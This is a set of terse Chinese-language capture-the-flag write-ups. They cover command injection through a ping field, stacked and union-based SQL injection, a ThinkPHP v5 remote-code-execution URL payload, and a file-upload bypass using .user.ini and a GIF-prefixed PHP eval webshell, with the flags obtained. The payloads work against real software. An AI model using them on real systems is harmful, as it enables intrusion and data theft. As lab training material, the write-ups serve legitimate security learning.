题目提示: (这道题的名字就叫命令执行漏洞)
发现ping 先rce一下 127.0.0.1 | ls
发现了东西 尝试访问一下 找到了所有的文件 访问var文件夹
发现在var/www/html目录下没找到
去别的地方找找
在home文件夹下找到flag文件
访问 得到flag
cyberpeace{88234e362f2f6093f792902919f4ed76}
没什么知识点 单纯的命令执行 无绕过
题目提示 随便注
进来页面之后发现是sql url地址上有注入点 先sqlmap打一下
查页面源码发现可能不行
确定是字符型注入 输入 1' or 1=1# 万能语句发现回显不正常 存在注入
判断列数 发现列数为3时回显错误 1' and order by 3
尝试联合查询 1' and 1' union select 1,2#
发现过滤了好多函数,看了大佬的博客 用堆叠注入
查库名
1' ;show databases;#
查表名
接下来查询列名 1'; show columns from `words`;#
查询表中的列,表名需要使用反单引号引起来,在windows系统下,反单引号(`)是数据库、表、索引、列和别名的引用符。
1';use supersqli;show columns from `1919810931114514`;#
下一步应该是select flag from `1919810931114514`,但是select被过滤
查询word列发现结构大致相同,由于注入框的查询是对列id的搜索,此时参考两个表的列名,需要将flag列名改为能够查找的id列(修改包括名称和数据类型)。
过滤中并没有alert 和 rename,我们已经知道了words是用来回显内容的,我们把1919810931114514这个表更改名字为words,并增加相应的字段,使之回显原1919810931114514这个表的内容。
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
再用万能语句,得到flag
发现时thinkphp v5的模板 去网上找一下
可以发现有一大堆payload
随便传参 确定版本
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag 拿到flag
发现输入框 看看是不是sql
输入 ' and 1=1# 回显正常
'order by 3#
联合注入查询1' union select 1,2,3#
爆库 1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()#
爆表 1' union select 1,2,group_concat(fl4g) from secret_table#
爆列 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#
爆字段 1' union select 1,2,group_concat(fl4g) from secret_table#
得到flag
先传一个小马上去看看回显
应该是有前端验证 禁用掉
上传成功 蚁剑连接
直接上传不了 改一下文件类型
还是不行 直接上传.htaccess文件改配置
发现.htaccess文件还是不行 用user.ini试一试
发现上传成功
上传图片马
这里需要注意的是这道题过滤了php
所以可以用
GIF89a
=eval($_REQUEST['cmd']);?>
一切带php的代码都会被过滤掉
cyberpeace{937ac0ef1843b78122008bad3ac52b05}